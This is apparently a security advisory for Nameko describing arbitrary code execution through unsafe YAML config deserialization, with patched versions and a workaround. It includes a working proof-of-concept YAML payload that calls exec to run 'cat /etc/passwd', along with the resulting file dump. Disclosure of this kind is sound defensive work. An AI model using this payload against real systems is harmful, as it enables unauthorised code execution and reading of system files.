Nameko Arbitrary code execution due to YAML deserialization
### Impact
Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:
``` yaml
# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
```
``` shell
$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...
```
### Patches
The problem was fixed in
https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.
Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.
### Workarounds
The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.